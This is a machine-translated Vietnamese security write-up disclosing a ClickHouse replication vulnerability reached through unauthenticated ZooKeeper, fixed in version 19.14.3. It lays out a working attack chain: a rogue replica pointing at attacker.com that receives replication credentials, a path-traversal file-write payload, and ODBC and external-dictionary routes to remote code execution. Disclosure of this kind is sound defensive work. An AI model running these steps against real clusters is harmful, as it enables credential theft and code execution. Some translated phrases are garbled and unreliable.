Tại sao bạn cần phải đóng lồng vườn thú?

Tại sao bạn cần phải đóng lồng vườn thú?

Bài viết này sẽ kể câu chuyện về một lỗ hổng rất cụ thể trong giao thức sao chép ClickHouse và cũng sẽ chỉ ra cách có thể mở rộng bề mặt tấn công.

ClickHouse là cơ sở dữ liệu để lưu trữ khối lượng lớn dữ liệu, thường sử dụng nhiều bản sao. Phân cụm và sao chép trong ClickHouse được xây dựng trên đầu trang Người quản lý vườn thú Apache (ZK) và yêu cầu quyền ghi.

Cài đặt ZK mặc định không yêu cầu xác thực, vì vậy hàng nghìn máy chủ ZK được sử dụng để định cấu hình Kafka, Hadoop, ClickHouse đều được cung cấp công khai.

Để giảm bề mặt tấn công, bạn phải luôn định cấu hình xác thực và ủy quyền khi cài đặt ZooKeeper

Tất nhiên, có một số quá trình khử lưu lượng Java dựa trên 0 ngày, nhưng hãy tưởng tượng rằng kẻ tấn công có thể đọc và ghi vào ZooKeeper, được sử dụng để sao chép ClickHouse.

Khi được định cấu hình ở chế độ cụm, ClickHouse hỗ trợ các truy vấn phân tán DDL, đi qua ZK - đối với chúng, các nút được tạo trong trang tính /clickhouse/task_queue/ddl.

Ví dụ: bạn tạo một nút /clickhouse/task_queue/ddl/query-0001 với nội dung:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

và sau đó, bảng kiểm tra sẽ bị xóa trên các máy chủ cụm Host1 và Host2. DDL cũng hỗ trợ chạy các truy vấn CREATE/ALTER/DROP.

Nghe có vẻ đáng sợ? Nhưng kẻ tấn công có thể lấy địa chỉ máy chủ ở đâu?

Nhân rộng ClickHouse hoạt động ở cấp độ các bảng riêng lẻ, do đó khi một bảng được tạo trong ZK, một máy chủ được chỉ định sẽ chịu trách nhiệm trao đổi siêu dữ liệu với các bản sao. Ví dụ: khi thực hiện một yêu cầu (ZK phải được cấu hình, chXX - tên của bản sao, foobar - tên bảng):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

các nút sẽ được tạo cột и siêu dữ liệu.

Nội dung /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Có thể hợp nhất dữ liệu từ cụm này? Có, nếu cổng sao chép (TCP/9009) trên máy chủ chXX-address tường lửa sẽ không bị đóng và xác thực để sao chép sẽ không được cấu hình. Làm thế nào để bỏ qua xác thực?

Kẻ tấn công có thể tạo một bản sao mới trong ZK bằng cách sao chép nội dung từ /clickhouse/tables/01-01/foobar/replicas/chXX và thay đổi ý nghĩa host.

Nội dung /clickhouse/tables/01–01/foobar/replicas/kẻ tấn công/máy chủ:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Sau đó, bạn cần thông báo cho các bản sao khác rằng có một khối dữ liệu mới trên máy chủ của kẻ tấn công mà chúng cần lấy - một nút được tạo trong ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX bộ đếm tăng trưởng đơn điệu, phải lớn hơn bộ đếm cuối cùng trong nhật ký sự kiện):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

đâu nguồn_bản sao - tên bản sao của kẻ tấn công được tạo ở bước trước, khối_id - mã định danh khối dữ liệu, được - lệnh "lấy khối" (và đây là các lệnh cho các hoạt động khác).

Tiếp theo, mỗi bản sao sẽ đọc một sự kiện mới trong nhật ký và đi đến máy chủ do kẻ tấn công kiểm soát để nhận một khối dữ liệu (giao thức sao chép là nhị phân, chạy trên HTTP). Máy chủ attacker.com sẽ nhận được yêu cầu:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

trong đó XXX là dữ liệu xác thực để sao chép. Trong một số trường hợp, đây có thể là tài khoản có quyền truy cập vào cơ sở dữ liệu thông qua giao thức ClickHouse chính và giao thức HTTP. Như bạn đã thấy, bề mặt tấn công trở nên cực kỳ lớn vì ZooKeeper, được sử dụng để sao chép, không được định cấu hình xác thực.

Chúng ta hãy xem chức năng lấy một khối dữ liệu từ một bản sao, nó được viết với sự tin cậy hoàn toàn rằng tất cả các bản sao đều được kiểm soát thích hợp và có sự tin cậy giữa chúng.

Tại sao bạn cần phải đóng lồng vườn thú?
mã xử lý sao chép

Hàm này đọc danh sách các tệp, sau đó là tên, kích thước, nội dung của chúng và sau đó ghi chúng vào hệ thống tệp. Cần mô tả riêng cách dữ liệu được lưu trữ trong hệ thống tệp.

Có một số thư mục con trong /var/lib/clickhouse (thư mục lưu trữ mặc định từ tệp cấu hình):

cờ - thư mục để ghi âm cờ, dùng để phục hồi sau khi mất dữ liệu;
tmp — thư mục lưu trữ các tập tin tạm thời;
Tập tin người dùng — các thao tác với các tập tin trong yêu cầu được giới hạn trong thư mục này (INTO OUTFILE và các thư mục khác);
siêu dữ liệu — tệp sql có mô tả bảng;
preprocessed_configs - các tập tin cấu hình phái sinh được xử lý từ /etc/clickhouse-server;
dữ liệu - thư mục thực tế chứa chính dữ liệu đó, trong trường hợp này đối với mỗi cơ sở dữ liệu, một thư mục con riêng biệt được tạo đơn giản ở đây (ví dụ: /var/lib/clickhouse/data/default).

Đối với mỗi bảng, một thư mục con được tạo trong thư mục cơ sở dữ liệu. Mỗi cột là một tệp riêng biệt tùy thuộc vào định dạng động cơ. Ví dụ đối với một bảng foobarđược tạo bởi kẻ tấn công, các tệp sau sẽ được tạo:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Bản sao mong muốn nhận các tệp có cùng tên khi xử lý một khối dữ liệu và không xác thực chúng theo bất kỳ cách nào.

Người đọc chú ý có lẽ đã nghe nói về việc nối file_name không an toàn trong một hàm WriteBufferFromFile. Có, điều này cho phép kẻ tấn công viết nội dung tùy ý vào bất kỳ tệp nào trên FS với quyền người dùng clickhouse. Để thực hiện việc này, bản sao do kẻ tấn công kiểm soát phải trả về phản hồi sau cho yêu cầu (ngắt dòng đã được thêm vào để dễ hiểu):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

và sau khi nối ../../../../../../../../../tmp/pwned tập tin sẽ được viết /tmp/pwned với nội dung hellofromzookeeper.

Có một số tùy chọn để biến khả năng ghi tệp thành thực thi mã từ xa (RCE).

Từ điển bên ngoài trong RCE

Ở các phiên bản cũ hơn, thư mục chứa cài đặt ClickHouse được lưu trữ với quyền người dùng nhà nhấp chuột mặc định. Tệp cài đặt là các tệp XML mà dịch vụ đọc khi khởi động và sau đó lưu vào bộ đệm /var/lib/clickhouse/preprocessed_configs. Khi có thay đổi xảy ra, chúng sẽ được đọc lại. Nếu bạn có quyền truy cập vào /etc/clickhouse-server kẻ tấn công có thể tự tạo từ điển bên ngoài loại thực thi và sau đó thực thi mã tùy ý. Các phiên bản hiện tại của ClickHouse không cung cấp các quyền theo mặc định, nhưng nếu máy chủ được cập nhật dần dần thì các quyền đó có thể vẫn còn. Nếu bạn đang hỗ trợ cụm ClickHouse, hãy kiểm tra quyền đối với thư mục cài đặt, nó phải thuộc về người dùng root.

ODBC sang RCE

Khi cài đặt một gói, người dùng sẽ được tạo clickhouse, nhưng thư mục chính của nó chưa được tạo /nonexistent. Tuy nhiên, khi sử dụng từ điển bên ngoài hoặc vì lý do khác, người quản trị tạo một thư mục /nonexistent và cung cấp cho người dùng clickhouse quyền truy cập để ghi vào nó (SSZB! khoảng người phiên dịch).

Hỗ trợ ClickHouse ODBC và có thể kết nối với cơ sở dữ liệu khác. Trong ODBC, bạn có thể chỉ định đường dẫn đến thư viện trình điều khiển cơ sở dữ liệu (.so). Các phiên bản cũ hơn của ClickHouse cho phép bạn thực hiện việc này trực tiếp trong trình xử lý yêu cầu, nhưng giờ đây, tính năng kiểm tra chuỗi kết nối chặt chẽ hơn đã được thêm vào odbc-bridge, do đó không thể chỉ định đường dẫn trình điều khiển từ yêu cầu nữa. Nhưng kẻ tấn công có thể ghi vào thư mục chính bằng lỗ hổng được mô tả ở trên không?

Hãy tạo một tập tin ~/.odbc.ini với nội dung như thế này:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

sau đó khi khởi động SELECT * FROM odbc('DSN=lalala', 'test', 'test'); thư viện sẽ được tải test.so và nhận được RCE (cảm ơn buglloc để lấy tiền boa).

Những lỗ hổng này và các lỗ hổng khác đã được sửa trong ClickHouse phiên bản 19.14.3. Hãy chăm sóc ClickHouse và ZooKeepers của bạn!

Nguồn: www.habr.com

Thêm một lời nhận xét